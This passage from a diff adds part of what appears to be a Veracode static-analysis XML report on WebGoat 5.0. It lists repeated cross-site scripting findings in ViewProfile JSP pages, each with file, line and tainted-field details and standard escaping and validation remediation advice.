+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
